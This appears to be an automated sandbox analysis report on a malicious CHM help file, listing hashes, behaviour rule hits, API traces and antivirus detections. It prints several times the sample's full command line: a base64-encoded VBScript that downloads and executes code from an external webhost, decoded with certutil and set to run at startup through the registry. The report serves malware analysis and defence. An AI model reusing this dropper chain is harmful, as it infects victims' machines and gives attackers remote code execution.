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364D4FDF430477222FE854B3CD5B6D40.chm

Suspicious_Script_Bin Downloader HTTP ScreenShot Create Service KeyLogger Internet API P2P DGA Http API persistence FTP Socket Escalate priviledges DNS Code injection PWS Sniff Audio Steal credential AntiDebug CHM Format AntiVM
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Sept. 18, 2023, 11:32 a.m. Sept. 18, 2023, 11:34 a.m.
Size 31.3KB
Type MS Windows HtmlHelp Data
MD5 364d4fdf430477222fe854b3cd5b6d40
SHA256 c62677543eeb50e0def44fc75009a7748cdbedd0a3ccf62f50d7f219f6a5aa05
CRC32 EE1028CB
ssdeep 768:5UU18TPTd1QC2NQeaOcm/4hdY/kdJLyltH:5UUCTPT7QtQ7m/4h40ultH
Yara
  • chm_file_format - chm file format

Name Response Post-Analysis Lookup
No hosts contacted.
IP Address Status Action
No hosts contacted.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GetComputerNameW

 computer_name: TEST22-PC
1 1 0
Time & API Arguments Status Return Repeated

IsDebuggerPresent

 0 0
Time & API Arguments Status Return Repeated

WriteConsoleW

 buffer: Input Length = 256
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: Output Length = 189
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: CertUtil: -decode command completed successfully.
console_handle: 0x0000000000000007
1 1 0

WriteConsoleW

 buffer: The operation completed successfully.
console_handle: 0x0000000000000007
1 1 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 3036
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x000000007304c000
process_handle: 0xffffffffffffffff
1 0 0
file C:\Users\test22\Links\MXFhejJ3c3gzZWRjA.vbs
cmdline "C:\Windows\System32\cmd.exe" /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2688
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 1
length: 4096
protection: 32 (PAGE_EXECUTE_READ)
base_address: 0x000007fffff90000
process_handle: 0xffffffffffffffff
1 0 0
description Create a windows service rule Create_Service
description Communications over RAW Socket rule Network_TCP_Socket
description Communications over P2P network rule Network_P2P_Win
description Communication using DGA rule Network_DGA
description Steal credential rule local_credential_Steal
description Match Windows Http API call rule Str_Win32_Http_API
description Escalate priviledges rule Escalate_priviledges
description PWS Memory rule Generic_PWS_Memory_Zero
description Record Audio rule Sniff_Audio
description Communications over HTTP rule Network_HTTP
description Communications use DNS rule Network_DNS
description Take ScreenShot rule ScreenShot
description Code injection with CreateRemoteThread in a remote process rule Code_injection
description Match Windows Inet API call rule Str_Win32_Internet_API
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerCheck__RemoteAPI
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule DebuggerException__ConsoleCtrl
description (no description) rule DebuggerException__SetConsoleCtrl
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description (no description) rule Check_Dlls
description Checks if being debugged rule anti_dbg
description Anti-Sandbox checks for ThreatExpert rule antisb_threatExpert
description Bypass DEP rule disable_dep
description Affect hook table rule win_hook
description Install itself for autorun at Windows startup rule Persistence
description Communications over FTP rule Network_FTP
description Run a KeyLogger rule KeyLogger
description File Downloader rule Network_Downloader
description (no description) rule DebuggerCheck__GlobalFlags
description (no description) rule DebuggerCheck__QueryInfo
description (no description) rule DebuggerHiding__Thread
description (no description) rule DebuggerHiding__Active
description (no description) rule ThreadControl__Context
description (no description) rule SEH__vectored
description Checks if being debugged rule anti_dbg
description Bypass DEP rule disable_dep
cmdline REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "C:\Users\test22\Links\MXFhejJ3c3gzZWRjA.vbs" /f
cmdline cmd /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f
cmdline "C:\Windows\System32\cmd.exe" /c echo T24gRXJyb3IgUmVzdW1lIE5leHQNCg0KU2V0IG14ID0gQ3JlYXRlT2JqZWN0KCJNaWNyb3NvZnQuWE1MSFRUUCIpDQpteC5vcGVuICJHRVQiLCAiaHR0cDovLzAwNzAxMTExLjAwMHdlYmhvc3RhcHAuY29tL3dwLWV4dHJhL3Nob3cucGhwP3F1ZXJ5PTUwIiwgRmFsc2UNCm14LlNlbmQNCg0KRXhlY3V0ZShteC5yZXNwb25zZVRleHQp >"%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" & start /MIN certutil -decode "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.dat" "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" & start /MIN REG ADD HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v Document /t REG_SZ /d "%USERPROFILE%\Links\MXFhejJ3c3gzZWRjA.vbs" /f
reg_key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Document reg_value C:\Users\test22\Links\MXFhejJ3c3gzZWRjA.vbs
ALYac Exploit.CHM-Downloader.Gen
Sangfor Exploit.Generic-Script.Save.b67efc64
ESET-NOD32 HTML/TrojanDropper.Agent.R
Kaspersky HEUR:Trojan.Script.Generic
BitDefender Exploit.CHM-Downloader.Gen
MicroWorld-eScan Exploit.CHM-Downloader.Gen
Emsisoft Exploit.CHM-Downloader.Gen (B)
VIPRE Exploit.CHM-Downloader.Gen
TrendMicro HEUR_CHM.E
FireEye Exploit.CHM-Downloader.Gen
GData Exploit.CHM-Downloader.Gen
Arcabit Exploit.CHM-Downloader.Gen
ZoneAlarm HEUR:Trojan.Script.Generic
MAX malware (ai score=86)
Rising Trojan.MouseJack/HTML!1.BE26 (CLASSIC)
Fortinet JS/Agent.00E5!tr
Process injection Process 2576 resumed a thread in remote process 2688
Process injection Process 2972 resumed a thread in remote process 3036
Process injection Process 2972 resumed a thread in remote process 1404
Time & API Arguments Status Return Repeated

NtResumeThread

 thread_handle: 0x00000284
suspend_count: 1
process_identifier: 2688
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000060
suspend_count: 0
process_identifier: 3036
1 0 0

NtResumeThread

 thread_handle: 0x0000000000000064
suspend_count: 0
process_identifier: 1404
1 0 0